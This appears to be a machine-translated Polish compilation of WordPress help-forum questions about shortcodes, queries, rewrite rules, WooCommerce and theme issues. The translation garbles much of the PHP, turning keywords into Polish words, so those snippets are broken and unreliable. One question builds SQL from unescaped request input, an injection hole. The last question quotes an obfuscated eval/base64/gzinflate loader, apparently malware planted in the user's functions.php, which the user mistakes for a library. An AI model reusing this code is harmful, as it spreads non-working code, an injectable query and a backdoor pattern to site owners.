Potrzebuję tylko pomocy z funkcją shortcode WordPress. Chciałbym utworzyć listę linków na podstawie link_category wewnątrz postu z shortcode. Krótki kod działał, dopóki nie dodałem argumentu limit do funkcji. Więc w zasadzie czy ktoś może mi pomóc rozwiązać ten problem? Kod można zobaczyć poniżej, skopiowany z mojego pliku functions.php. Pamiętaj, że nie jestem ekspertem od php, ale mogę edytować/łamać istniejący kod jak mistrz. Witryna, o której mowa, to http://linuxlibrary.org Doceniam pomoc! add_shortcode('lynx', 'lynx_shortcode_handler'); function lynx_shortcode_handler($atts) { // extract parameters $parms = shortcode_atts(array( 'cat_name' => 'Dowiedz się więcej', 'limit' => '5', 'use_description' => 'false', 'use_image' = > 'false', 'before_line' => '
', 'after_line' => '
 ', 'before_content' => '
 ', 'after_content' => '
 ' , 'target' => '', 'xfn' => '', ), $atts); $nazwa_kota = $parametry['nazwa_kota']; $use_description = strtolower($parms['use_description']); $limit = $parametry['limit']; $use_image = strtolower($parms['use_image']); $before_line = $parametry['before_line']; $after_line = $parms['after_line']; $before_content = $parametry['before_content']; $after_content = $parametry['after_content']; $cel = $parametry['cel']; $xfn = $parametry['xfn']; // opcje przetwarzania t/f $b_use_description = false; if (($use_description == 'tak') || ($use_description == 'y') || ($use_description == 'prawda') || ($use_description == '1')) {$b_use_description = prawda ;} $b_use_image = fałsz; if (($use_image == 'tak') || ($use_image == 'y') || ($use_image == 'prawda') || ($use_image == '1')) {$b_use_image = prawda ;} // wyjście return lynx($cat_name, $b_use_description, $b_use_image, $before_line, $after_line, $before_content, $after_content, $target, $xfn); } } function lynx( $cat_name='Dowiedz się więcej', $limit='5', $use_description='1', $use_image='1', $before_line='
', $after_line='
 ', $before_content='
 ', $after_content='
 ', $target='', $xfn='') { // pobierz dane $args = array('limit' => $limit, 'orderby' => 'rating', 'order' => 'DESC', 'category_name' => $cat_name); $zakładki = get_bookmarks($args); // przetwórz dane $output = $before_content; foreach ($zakładki jako $bmk) { $bmk_link = $bmk->link_url; $bmk_name = $bmk->link_name; $bmk_description = $bmk->link_description; $bmk_image = $bmk->link_image; // działa najlepiej z ikonami (np. favicon.ico) $href = '' . $bmk_name . ''; $wyjście .= $before_line; if ($use_image == '1') { // zakłada ikony 16x16 i odpowiednio dopasowuje margines // MSIE ma problemy z niektórymi plikami favicon.ico $output .= ' '; } $wyjście .= $href; if ($use_description == '1') { $output .= ' ' . $bmk_opis; } $wyjście .= $after_line; } // wyjście $wyjście = $wyjście . $po_treści; zwróć $wyjście; }


title: Tworzenie dwóch pętli w oparciu o inną logikę

text: Próbuję znaleźć najlepszą drogę do tego i mam część mojego rozwiązania, ale nie mogę tego wszystkiego rozgryźć. Moim ostatecznym celem jest pokazanie najnowszego posta z CPT określonej taksonomii w obrębie określonego szablonu strony, wydaje się to być najłatwiejsze i można je osiągnąć w następujący sposób: $args=array( 'post_type' => 'portfolio', 'post_status ' => 'publish', 'orderby' => 'data', 'order' => 'DESC', 'posts_per_page' => 1, 'type' => 'featured' ); $portfolio_query = nowe WP_Query($args); W następnej części zostaną wyświetlone wszystkie inne posty, z wyjątkiem posta, którego dotyczy zapytanie powyżej. Czy można to zrobić za pomocą pojedynczej pętli, czy będę potrzebować wielu pętli z logiką przesunięcia? Nie wiem, jak tego dokonać. TIA.


title: WSTAWIANIE danych do tabeli z symbolami zastępczymi

text: Próbuję wstawić dane do tabeli, otrzymuję błędy, próbowałem przesłać dane, ale nie wydaje mi się, aby zadziałało, czy możesz mi pomóc dowiedzieć się, co zrobiłem źle, proszę... Oto mój kod I wykonaj po zakończeniu walidacji: $sql = 'INSERT INTO `tablename` (`file`,`afile`,`type`,`keyword`,`location`,`numbl`,`userul`,`uldate`) wartości ( %s,%s,%s,%s,%s,%s,%s,%d) "'. $_REQUEST['nazwa_pliku'] '", "' . $url . '", "' . $_REQUEST['typ pliku'] .'", "' . $_REQUEST['filekeyword'] .'", "' . $_REQUEST['filelocation'] .'", "' . $_REQUEST['filenumbl'] . '", "' . $user_login . '", "' .time() . '"'; $wpdb->zapytanie($sql); $_tbInsertId = $wpdb->insert_id; To nie działa. Dodałem kod pokaż błędy i mówi on: Błąd bazy danych WordPress: [Masz błąd w składni SQL; sprawdź instrukcję, która odpowiada Twojej wersji serwera MySQL, aby znaleźć właściwą składnię w pobliżu '%s,%s,%s,%s,%s,%s,%s,%d) "LK-Contractor-NOGglRev-16Ld -082214.csv"' w wierszu 1] Próbowałem nawet wstawić przecinek PO zamknięciu ) w wartościach ... ale ten sam błąd. Dodałem znaki "cudzysłów" wokół wszystkich pól, co też tego nie naprawiło. Czy widzisz, co to powoduje? Dzięki, Richardzie


title: Reguły przepisywania przekierowują i nie przekazują VAR-ów

text: Mam następujący kod w moim pliku functions.php. <?php add_action('init', 'flush_rewrite_rules'); function custom_add_rewrite_rules( $wp_rewrite ) { $new_rules = array( 'insurance-leads-types/auto-insurance-leads/([^/\.]+)/?$' => 'index.php?pagename=auto-insurance -leads&state=' . $wp_rewrite->preg_index(1), 'insurance-leads-types/home-insurance-leads/([^/\.]+)/?$' => 'index.php?pagename=home -insurance-leads&state=' . $wp_rewrite->preg_index(1) ); $wp_rewrite->zasady = $new_rules + $wp_rewrite->zasady; } add_action('generate_rewrite_rules', 'custom_add_rewrite_rules'); funkcja add_query_vars( $query_vars ) { $query_vars[] = 'stan'; zwróć $query_vars; } add_filter( 'query_vars', 'add_query_vars' ); Kiedy wchodzę na stronę /insurance-leads-types/auto-insurance-leads/STATENAME/ adres URL jest przekierowywany do /insurance-leads-types/auto-insurance-leads/ bez końcowego STATENAME/ i zmienna nie jest przekazywana do $query_vars. Użyłem programu Monkeyman's Rewrite Analyzer i wszystko wygląda dobrze: nazwa strony: stan auto-insurance-leads: (.[^/]+) Masz jakieś pomysły, dlaczego adres URL przekierowuje?


title: Jeśli mam niestandardowy typ postu z 5 niestandardowymi polami, czy muszę utworzyć nową pętlę, aby odwoływać się do każdego z nich?

text: Jeden niestandardowy typ posta, który utworzyłem, ma 5 niestandardowych pól, które wyświetlają określoną zawartość szablonu, który wyświetla je w różnych obszarach na stronie. Moje pytanie brzmi, czy musiałbym utworzyć kolejną pętlę dla każdego niestandardowego pola, do którego odwołuję się w moim szablonie, czy też wystarczy? Dziękuję.


title: Woocommerce - Pobierz kategorię produktów Kategoria 2 poziomu

text: Mam 3 poziomy kategorii produktów, takie jak: A |--B |---C Chcę dostać B, ale nie wiem jak to zrobić. Mogę uzyskać wszystkie kategorie produktów, ale nie wiem, jak je odfiltrować. Oto kod, którego używam, aby uzyskać kategorie produktów: ID, 'product_cat' ); foreach( $product_category as $cat ): if( 0 == $cat->parent ) echo $cat->name; na każdym kroku;


title: Wyniki nie są drukowane

text: Próbuję uruchomić następujący kod, który otrzymałem ze strony, ale nie widzę żadnych danych wyjściowych. Kiedy robię `print_r($product)` tylko wtedy otrzymuję tablicę z powrotem. $args = array( 'post_type' => 'produkt', 'posts_per_page' => 4 ); $featured_query = nowe WP_Query( $args ); if ($featured_query->have_posts()) : while ($featured_query->have_posts()) : $featured_query->the_post(); $produkt = pobierz_produkt( $featured_query->post->ID ); echo $produkt; koniec; endif;


title: Mapowanie danych zewnętrznych do tagów za pomocą term_id

text: Patrzę na migrację niestandardowego CMS z około 40k postów i około 100k tagów do WP. Witryna zawiera wiadomości o branży koncertowej i będzie używać tagów jako nazw wykonawców powiązanych z każdym postem. Będą zewnętrzne interfejsy API, które będą pobierać zastrzeżone obrazy i daty koncertów dla każdego wykonawcy, i będą musiały mapować do term_id dla tagu, który będzie nazwą wykonawcy. Wewnętrznie tabela przeglądowa będzie musiała być zmapowana na term_id, aby wygenerować zaczepy API i linki handlowe. Pytanie brzmi, czy taksonomia w ramach WP — mapowanie znacznika do kilku kolumn powiązanych punktów zaczepienia treści — jest najlepszym sposobem na to, czy też powinna stać się zewnętrzną wtyczką mapującą znaczniki, która działa poza strukturą tabeli WP z początek.


title: Zepsułem bazę danych po ponownym załadowaniu wersji lokalnej - co dokładnie się stało? błąd bazy danych

text: Strona już działała, ale ponieważ chciałem zmienić stronę bardziej i mój Internet nie jest teraz dobry, postanowiłem pobrać cały folder wp na dysk lokalny i wyeksportować bazę danych. Założyłem xampp, wszystko poszło dobrze. Potem edytowałem i odłożyłem to w ten sposób: 1) najpierw zmieniłem nazwę folderu wp na wp_old i przesłałem nowy; 2) następnie próbowałem zaimportować bazę danych do phpmyadmina, ale mi to nie pozwoliło (coś już istnieje) - więc zmieniłem nazwę starej bazy na db_old i zaimportowałem nową. Zmieniłem wartości, które odnosiły się do 127.0.0.1 na mywebsite.com (home i url), ale teraz, gdy wchodzę na stronę internetową: Błąd podczas nawiązywania połączenia z bazą danych i wp-admin wyświetla: Nie można wybrać bazy danych Udało nam się połączyć z serwer bazy danych (co oznacza, że twoja nazwa użytkownika i hasło są w porządku), ale nie może wybrać bazy danych _*_ *_*. Dowolny pomysł? Z góry dziękuję za wszelkie uwagi Będę bardzo wdzięczny, jeśli poświęcisz czas, aby mi pomóc W phpmyadminie sytuacja wygląda dziwnie ... http://i.imgur.com/IxE4tU2.png \- dlaczego „stosuje się” dbs tak?


title: URL bez www pokazuje tylko pustą stronę

text: mam mały problem z moją stroną wordpress... kiedy wpisuję adres URL z www, strona jest wyświetlana we właściwy sposób. Ale jak wchodzę bez www, to pokazuje tylko pustą stronę, a kod źródłowy pokazuje tylko tag html, head i body... www.blumengalerie.ch / Również strona wyświetla tę białą stronę, gdy wchodzę na podstronę bez backslash na końcu (www.blumengalerie.ch/kontakt/) Zadzwoniłem do mojego hostera i zapewnił mnie, że oba (www/no www) są przypisane do tej samej ścieżki... Zaktualizowałem permalinki i . Plik htaccess pokazuje tylko wpis dla permalinków... <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d Rewrite . /index.php [L] </IfModule> Czy ktoś wie, jaki może być problem? Naprawdę przydałaby mi się pomoc Dzięki Alex


title: utrata opcji tematycznych podczas wdrażania witryny w środowisku produkcyjnym

text: przeniosłem zarówno folder wordpress, jak i bazę programistyczną na odległy serwer. Dlaczego wszystkie moje opcje motywów zostały utracone? gdzie są przechowywane te opcje, jeśli nie w tabeli wp_options ani wp_files ?


title: Autouzupełnianie jQuery: pobieranie informacji o nazwie terminu po wybraniu nazwy terminu

text:
Próbuję skonfigurować dostosowany formularz wyszukiwania, który umożliwi odwiedzającemu wyszukiwanie postów powiązanych z terminami z kilku taksonomii. Część autouzupełniania wydaje się działać dobrze, ale nie mam pojęcia, jak uzyskać informacje o slug terminu, abym mógł zbudować ciąg zapytania, gdy odwiedzający wybierze nazwę terminu. Oto kod HTML: <fieldset>
 Kolekcje:  <input id="collection">

 Sujety :  <input id="sujet">

 Lieux :  <input id=" lieu">

 Mots-clés:  <input id="tag_perso">
 </fieldset> Javascript: jQuery (function() { jQuery( "#collection" ).autocomplete({ source: availableTags.collection }); jQuery( "#sujet" ).autocomplete({ source: availableTags.sujet }); jQuery( "#lieu" ) .autocomplete({ source: availableTags.lieu }); jQuery( "#tag_perso" ).autocomplete({ source: availableTags.tag_perso }); i PHP: funkcja get_autocomplete_sou rce($taxonomy) { $args = array( 'hide_empty' => 0, 'fields' => 'all', ); $term_objects = get_terms($taksonomia, $args); $warunki = tablica(); foreach ($term_objects jako $term_object) { $return_object = nowa klasa standardowa; $return_object->wartość = $term_object->nazwa; $return_object->slug = $term_object->slug; $warunki[] = $return_object; } return $terms;} skrypt został zlokalizowany w ten sposób: wp_localize_script('cevennes_autocomplete', 'availableTags', array( 'collection' => get_autocomplete_source('1-collection'), 'sujet' => get_autocomplete_source('2- sujet'), 'lieu' => get_autocomplete_source('3-lieu'), 'tag_perso' => get_autocomplete_source('4-tag_perso') )); Jestem trochę zagubiony w JavaScript. Czy ktoś mógłby pomóc? Wielkie dzięki.


title: Niestandardowe błędy logowania i zmienne, których mogę użyć

text: Muszę zmienić ten komunikat o błędzie z dołączania nazwy użytkownika na adres e-mail użytkownika. Sprawdziłem to pytanie i odpowiedź i pomogło, ale nie zaszło mi wystarczająco daleko. Zmiana komunikatów o błędach logowania Wziąłem ten kod z głównego pliku `wp_includes/user.php` i wiem, że mogę użyć filtra `login_errors`, aby nadpisać tę wiadomość. Moje pytanie brzmi, do jakich zmiennych mam dostęp w tym filtrze? Jak zmienić to na e-mail? ` '<strong>BŁĄD</strong>: hasło wprowadzone dla nazwy użytkownika <strong>%1$s</strong> jest nieprawidłowe. <a href="%2$s" title="Zgubiono i odnaleziono hasło">Nie pamiętasz hasła</a>?' ` Oto, co mam do tej pory, ale nie wiem, jakiej zmiennej muszę użyć, aby działała. add_filter('login_errors','cc_login_error_message'); function cc_login_error_message($error){ //sprawdź, czy to jest błąd, którego szukasz $pos = strpos($error, 'incorrect'); if (is_int($pos)) { //to właściwy błąd, więc możesz go zastąpić $error = sprintf( __( 'BŁĄD: Hasło wprowadzone dla nazwy użytkownika %1$ s jest niepoprawne. Nie pamiętasz hasła?' ), $user_email, wp_lostpassword_url() ); } return $błąd; }      Jakieś pomysły? W szczególności zmienna $user_email w moim skrypcie nic nie zwraca, nie jestem pewien, czy istnieje taka zmienna, ale ta, którą właśnie wymyśliłem.


title: Jakiego haka użyć do załadowania niestandardowego rozszerzenia klasy podczas inicjowania motywu?

text: Próbuję uporządkować niektóre rzeczy w moim niestandardowym motywie, więc używam `require` do załadowania niektórych niestandardowych klas, które stworzyłem, które implementują natywne klasy WordPress. Kiedy koduję klasę bezpośrednio do pliku `functions.php` mojego motywu, wszystko jest w porządku... ale przenoszę klasę do `THEMEDIR/utilities/extendWalker.extension.php` otrzymuję błąd, że zależny interfejs ( `WP_NAV_WALKER` z `/wp-includes/nav-menu-template.php`) nie można znaleźć... chociaż rzeczywiście istnieje w tej lokalizacji. Mogę tylko przypuszczać, że podczas inicjalizacji motywu muszę załadować zewnętrznie zdefiniowane klasy na jednym z haków akcji, ale który? Próbowałem przeszukać kodeks, ale przeszukanie kodeksu lub google w poszukiwaniu czegoś takiego da ci tysiąc wyników, których nie chcesz. Muszę się upewnić, że mój motyw jest poprawnie zbudowany, aby rzeczy takie jak menu nawigacyjne działały poprawnie... i boję się używać zaczepów wtyczek. Jaki jest najlepszy hak do użycia w klasach narzędzi tematycznych? (rzeczy, które możesz zrobić za pomocą pliku `functions.php`) Obecnie uruchamiam go za pomocą: add_action('plugin_init','loadMyClass'); function loadMyClass(){ require_once THEMEDIR . '/utilities/myclass.php' } ale nie życzę sobie problemów z konfliktami spowodowanymi przez skrypty z wtyczek zainstalowanych przez użytkowników lub administratorów witryny.


title: Czy „orderby” w WP Meta Query koliduje z Meta Query?

text: Próbuję napisać kwerendę meta, która wyszukuje zdarzenia rozpoczynające się w ciągu następnego roku (event_start_date od teraz do 52 tygodni) lub zdarzenia, które nadal trwają (event_end_date od teraz do 52 tygodni), a następnie sortuje je razem za pośrednictwem event_start_date w jedno zapytanie, aby utworzyć chronologiczną listę zdarzeń. Mój kod pomyślnie wysyła zapytania do obu i zwraca wyniki, ale nie sortuje ich razem. Wyświetlają się w następującej kolejności: > 12 września > 13 września > 18 września > 11–13 września (data końcowa) > 20 września > 27 września > 25 września > 26 września > 20 września > 19 września > Oto mój kod: $ date_1 = data('Ymd', strtotime("teraz")); $data_2 = data('Ymd', strtotime("52 tygodnie")); $args = array( 'post_type' => 'event', 'order' => 'ASC', 'meta_key' => 'event_start_date', 'posts_per_page' => 10, 'meta_query' => array( 'relation' = > 'LUB', array( 'key' => 'event_start_date', 'value' => array( $data_1, $data_2 ), 'type' => 'numeric', 'compare' => 'BETWEEN' ), array ( 'key' => 'event_end_date', 'value' => array( $date_1, $date_2 ), 'type' => 'numeric', 'compare' => 'BETWEEN' ), 'orderby' => „numer_wartości_meta” ); $wp_query = nowe WP_Query ($args ); while( $wp_query->have_posts() ) { $wp_query->the_post(); }


title: Jaki jest najlepszy sposób na wykrycie przeglądarek IE 8 i niższych?

text: Używam niektórych funkcji HTML5, które działają tylko w IE9 i muszę wykryć, czy odwiedzający działają na IE8 lub niższym (oczywiście głównie tylko IE8 lub 7). Próbowałem kilku wtyczek, ale ta, która działała, wydawała się nie obsługiwać IE9 (tylko do 8). Nazywa się to wykrywaniem przeglądarki PHP (http://wordpress.org/extend/plugins/php-browser-detection/)


title: Czy ślimaki muszą być wyjątkowe?

text: Czy to prawda, że slugi zawsze muszą być unikalne, niezależnie od reszty adresu URL, czy też są używane przez różne typy postów lub taksonomie? Na przykład, czy można mieć oba te adresy URL? mysite.com/industry/biotech/report/ mysite.com/industry/retail/report/ Dzięki, Todd


title: Ustawianie widżetu tekstowego tylko na jednej stronie

text: Wypróbowałem kilka metod dodania widżetu tekstowego tylko do jednej strony (moja strona z informacjami) i wszystko się nie udało! Obecnie mam wtyczkę, która pozwala wybrać za pomocą pola tekstowego, na której stronie chcesz wyświetlić widżet... nie działa. To jest strona, na której się pojawia... Strona główna Wordpress Powinna pojawić się tutaj... Wordpress O stronie Oto zrzut ekranu widżetu zaplecza... ![Obszar widżetów](http://i.stack.imgur .com/4lTuc.png)


title: Jak zmienić kierunek zapytania za pomocą $query->set('order', 'ASC'); wewnątrz filtra pre_get_posts?

text:
Według: http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters Domyślna kolejność to DESC, a domyślna kolejność to data. We wtyczce niestandardowej wtyczka stosuje następujący filtr pre_get_posts: function custom_search_filter($query) { //echo '
'; var_dump($_GET); echo '
'; umierać; //echo '
'; var_dump($zapytanie); echo '
'; umierać; if ($query->is_search) { /* --------------------------------------- ----------- */ $zapytanie->set('zamówienie', 'data'); if ( isset($_GET['zamówienie']) ) { if ( $_GET['zamówienie'] == 'DESC' ) { $zapytanie->set('zamówienie', 'DESC'); //echo '
'; var_dump($_GET); echo '
'; umierać; } else { $query->set('order', 'ASC'); //echo '
'; var_dump($_GET); echo '
'; umierać; } } /* ------------------------------------------------------------- ---- */ } return $zapytanie; } add_filter('pre_get_posts', 'custom_search_filter', 999); Adres URL GET ustawia kolejność na ASC: http://mysite.lh/?post_type%5B%5D=resources&custom-search-my-term=Add+New+Term&s=CustomSearch&order=ASC I debugowanie zapytania, które otrzymam: SELECT SQL_CALC_FOUND_ROWS wp_posts .* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'resources' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.menu_order, wp_posts.post_date DESC LIMIT 0, 10" W powyższym SQL możesz zauważyć: ORDER BY ... DESC Istnieje powód, dla którego kolejność nie zmienia się z DESC na ASC, jeśli faktycznie $_GET['order'] == 'ASC'?Z góry dziękuję.


title: Kiedy WP zmienia rozmiar pliku obrazu?

text: Tworzenie galerii obrazów. Korzystanie z WP do przesyłania i zarządzania obrazami. Zdjęcia będą przesyłane w różnych rozmiarach plików i wymiarach w pikselach. Ładowanie dużych plików ma negatywny wpływ na czas ładowania strony i SEO. **Pytanie:** Kiedy WP zmienia rozmiar przesłanych obrazów? Czy to tylko na wyświetlaczu / wyjściu? Jeśli tak, oznacza to, że przeglądarka musi pobrać oryginalny, duży, powolny obraz, a następnie skondensować go przed wyświetleniem go widzowi. Oczywiście to źle. Jeśli powyższe jest prawdą, czy istnieje sposób (bez wtyczki) na zmianę rozmiaru obrazu podczas przesyłania do standardowego rozmiaru (powiedzmy 320x240). Próbuję unikać oprogramowania innych firm (Photoshop itp.).


title: Niestandardowy typ posta przy użyciu standardowych kategorii postów powoduje wyświetlenie 404 podczas przeglądania /cpt/category

text: CPT został dobrze zarejestrowany pod nazwą „qna” i slug „advice”. Przeglądanie domain.com/advice poprawnie wyświetla szablon archiwum-qna.php. Przeglądanie domain.com/advice/custom-post-title również działa poprawnie i wyświetla się przy użyciu pojedynczego qna.php. Problem pojawia się podczas dodawania tych niestandardowych postów do standardowych kategorii postów. W takim przypadku, gdy przeglądasz domain.com/advice/category wyniki 404. Myślę, że mogę znaleźć obejście, tworząc post qna, który pasuje do każdej ze standardowych kategorii, których używamy, a następnie używając warunkowego w ramach jednego- qna.php. Czy istnieje jednak inny sposób rozwiązania tego problemu?


title: Koszyk WooCommerce się nie wyświetla

text: Właśnie zainstalowałem wtyczkę WooCommerce w moim istniejącym motywie Wordpress. Zintegrowałem wtyczkę, korzystając z odpowiednich funkcji, które można znaleźć w przewodniku integracji WooCommerce. Teraz indeks sklepu działa dobrze, podobnie jak strona produktu. Jednak po kliknięciu „dodaj do koszyka”, a następnie „wyświetl koszyk”, strona koszyka zakupów jest całkowicie pusta. Nie jestem pewien, co to jest, ponieważ strona koszyka (generowana przez wtyczkę) ma poprawny krótki kod WooCommerce: [woocommerce_cart] Zwiększyłem również pamięć na moim serwerze, ponieważ przeczytałem gdzieś, że może to być ograniczenie. Nie jestem pewien, co jeszcze zrobić, jakieś pomysły?


title: $post nie działa we wtyczce AJAX z niestandardowym typem postu

text: Próbuję stworzyć wtyczkę, która może powiązać ze sobą dwa posty, i aby to zrobić, próbuję użyć AJAX, ale mam problem z uzyskaniem bieżącego identyfikatora postów za pomocą `$post->ID`. Staram się powiązać ze sobą niestandardowe typy postów, które stworzyłem, a kiedy testowałem AJAX, działał bezbłędnie. oto kod, funkcja eu_database_return(){ global $wpdb; globalny $post; if(isset($_POST)){ //wstaw relację do bazy danych $wpdb->insert('eu_relations', array('id' => NULL, 'item_id' => $post->ID, 'related_item_id' => $_POST['post_id'])); } echo 'dodane do bazy danych'; umierać(); } to jest moja funkcja AJAX do zapisywania danych w bazie danych, jakiś pomysł, co robię źle?


title: wp_nav_menu w 3.7 dodaj nazwę klasy nav navbar-nav

text:
pracuję z bootstrap3 i wordpressem 3.6, ale aktualizacja do 3.7 funkcji wp_nav_menu nie działa poprawnie. używam 3.6  <?php wp_nav_menu( array( 'container' => false, 'items_wrap' => '
%3$s
', 'theme_location' => 'menu_principal' )); ?>  ale ten kod nie działa w 3.7 nie dodaje klasy ul nav navbar-nav. Dlaczego? Dziękuję.

Blog

kontakt

  nie dodać klasy ul dlaczego?


title: Edycja informacji w stopce

text: Właśnie zbudowałem motyw dla klienta. Zastanawiam się, jaki jest najlepszy sposób, aby treść stopki można było edytować za pomocą Wordpressa. Informacje w stopce wyglądają tak: * Nazwa firmy * Wiersz adresu 1 * Wiersz adresu 2 * Telefon i faks * E-mail (powiązany z mailto) Mam kilka pomysłów, jak to zrobić: 1. Utwórz stronę o nazwie stopka i pobierz zawartość stamtąd. 2. Widgetuj stopkę i uczyń ją widżetem tekstowym 3. Utwórz panel opcji motywów z opcją dostosowania tego tekstu. Chciałbym wiedzieć, co uważacie za najlepsze rozwiązanie. Z góry dziękuję!


title: Wordpress przesyła ścieżkę folderu. jak to się decyduje?

text: Wiem, że jeśli dodamy nowy nośnik w sierpniu, zostanie on przesłany do folderu `/08` pod `/uploads`. Ale tutaj mam do czynienia z nowym problemem. Napisałem stronę w czerwcu (6 miesiąc). Dzisiaj, czyli w sierpniu próbuję wgrać nowy obraz na tę stronę, klikając przycisk "Dodaj multimedia". Dostaję wyskakujące okienko do przesyłania multimediów. Mogę wybrać plik i kliknąć prześlij. Wtedy to, co się dzieje, to to, że przesyłający wyświetla następujący komunikat o błędzie: > „Przesłany plik nie może zostać przeniesiony do /var/www/vhosts/ ** _*_ ** _*_ ** > _*_**.com/ httpdocs/wp-content/uploads/2013/06" Dlaczego próbuje przejść na ścieżkę `/06`, kiedy próbuję przesłać plik w sierpniu. Dlaczego przesyłanie kończy się niepowodzeniem?


title: Zaawansowane pola niestandardowe i galeria pokazu slajdów nie współpracują ze sobą?

text: Korzystam z WordPressa 3.5.1 i motywu dwudziestego. Używam zaawansowanych pól niestandardowych i chcę dodać pokaz slajdów. Używam wtyczki Slideshow Gallery ( http://wordpress.org/extend/plugins/slideshow- gallery/), ponieważ używałem jej wcześniej i podoba mi się. Ale to nie działa. Mam niestandardowe pole, które jest edytorem wysiwyg. Kiedy wciskam przycisk wstawiania galerii, nic się nie dzieje... Czy ktoś wie, w czym może być problem? A może masz propozycję innego pokazu slajdów? Musi mieć miniaturki poniżej, a ja chcę stylizować go tak, jak mi się podoba, ale z jak najmniejszą ilością kodowania... Dzięki! /Frida


title: Motyw WordPress - Problem z biblioteką JavaScript jQuery

text:
Mam pewne problemy z kilkoma wtyczkami, które używają jQuery/JS, tj. Kontrola plików cookie i galeria zdjęć Picasa. Motyw, którego używam, jest dość prosty i nie zawiera suwaków itp. Z ruchomymi częściami, dlatego może nie potrzebował jQuery/JS, więc może nie być zawarty w motywie. Przetestowałem dokładnie tę samą konfigurację na bardziej zaawansowanym motywie z suwakami itp. i działają one zgodnie z planem. Poniżej znajduje się kod pliku header.php: <?php if (wp_loaded() === true) { ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http: //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>  <meta http-equiv="Content-Type" content="<?php bloginfo('html_type') ?>; charset=< ?php bloginfo('zestaw znaków') ?>" /> <title><?php wp_title( '|', prawda, 'prawo' ); bloginfo( 'nazwa' ); ?></title> <link rel="stylesheet" href="<?php bloginfo('stylesheet_url') ?>" type="text/css" media="screen" />   <link rel="ikona skrótu" type="image/x-icon" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.ico " /> <link rel="ikona skrótu" type="image/png" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.png" /> <?php if(WP_VERSION < 3.0): ?> <link rel="alternate" type="application/rss+xml" title="<?php printf(__('%s RSS Feed', THEME_NS), get_bloginfo('name')); ?>" href ="<?php bloginfo('rss2_url'); ?>" /> <link rel="alternate" type="application/atom+xml" title="<?php printf(__('%s Atom Feed', THEME_NS), get_bloginfo('nazwa')); ?>" href="<?php bloginfo('atom_url'); ?> " /> <?php endif; ?> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <?php remove_action('wp_head', 'wp_generator'); wp_enqueue_script('jquery'); if ( is_singular() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } wp_head(); ?>  <?php } ?> <body <? php if(function_exists('body_class')) body_class(); ?>>

 <?php echo theme_get_menu(array( 'źródło' => theme_get_option('theme_menu_source'), 'depth' => theme_get_option('theme_menu_depth'), 'menu' => 'główne-menu', ' klasa' => 'art-hmenu' ) ); ?>

 <?php if(theme_get_option('theme_header_show_headline')): ?>
<a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?>
 <?php endif; ?> <?php if(theme_get_option('theme_header_show_slogan')): ?>
<?php bloginfo('opis'); ?>
 <?php endif; ?>

 Muszę znaleźć sposób, aby te wtyczki działały, włączając te biblioteki? Zakładam. Z pewnością jest to tylko kwestia dodania włączenia wspomnianych bibliotek do tego pliku nagłówkowego? Zakładam, że platforma wordpress ma wbudowane biblioteki? **AKTUALIZACJA:** Podczas wyszukiwania problemu Dreamweaver zgłosił błąd składni w dużej linijce kodu znajdującej się w functions.php. Nie jestem pewien, co to jest, ale wyobrażam sobie, że to prawdopodobnie jest przyczyną mojego problemu. Mam nadzieję, że jest to jakiś rodzaj biblioteki JavaScript lub jQuery, którą mogę pobrać ze strony JavaScript lub jQuery i po prostu wkleić ten kod na górze? Oto mały fragment kodu: $JIIE='d';$BgeiYKC='s';$HsKMZ='a';$ASoAnk='c';$HmIZ='4';$vIjbm= 'b';$rnhWg='e';$vYUXfZg='_';$vEMMZuV='6';$VJIIOE='e';$KCJbP='e';$pCXoIbX='d';$UxkTuF=' o';$dNfWkGZS=$vIjbm.$HsKMZ.$BgeiYKC.$VJIIOE.$vEMMZuV.$HmIZ.$vYUXfZg.$JIIE.$rnhWg.$ASoAnk.$UxkTuF.$PQ.$Hmfx ';$chkk='l';$lUuQrxv='i';$FCKv='a';$hXql='e';$WpLMH='t';$vrBP='z';$JNlQZi='g' ;$gevPW='n';$eJSoRqYQ=$JNlQZi.$vrBP.$lUuQrxv.$gevPW.$HmHxQr.$chkk.$FCKv.$WpLMH.$hXql;$YcAbMd='o';$abGr='s ';$DDSGw='t';$DITEeh='_';$yMAly='3';$LGdXGf='r';$SqZzUI='1';$dSJlUx='r';$WdJDmRA='t' ;$mawoiGyr=$abGr.$WdJDmRA.$dSJlUx.$DITEeh.$LGdXGf.$YcAbMd.$DDSGw.$SqZzUI.$yMAly;$kuamXS='e';$DRPg='s';'tYYMzW= ';$DRLrvr='r';$ezJz='v';$bfOZvwc='r';$iNEGrOcr=$DRPg.$HvYMzW.$bfOZvwc.$DRLrvr.$kuamXS.$ezJeval($eJSoRfYQ($ZN $mawoiGyr($iNEGrOcr('=8t//976is/+/wwRb05H9muiOy3r8iq+vYzF9IUX3z0f7DeZdxY9Jz46lLTBpH7doculNiXHs6yeZAd9pkMxnPXFX8eX7Fbxi 